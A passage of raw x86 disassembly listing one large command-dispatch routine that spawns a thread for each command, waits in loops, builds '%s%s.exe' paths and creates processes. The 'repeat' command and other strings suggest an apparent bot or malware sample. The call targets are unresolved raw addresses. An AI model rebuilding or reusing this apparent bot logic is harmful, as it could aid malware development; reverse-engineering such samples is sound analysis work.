		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	near ptr 26C0AF2h
		nop
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2680493h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aSaadfgh	; "saadfgh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26C0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 26A0000h
		nop


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
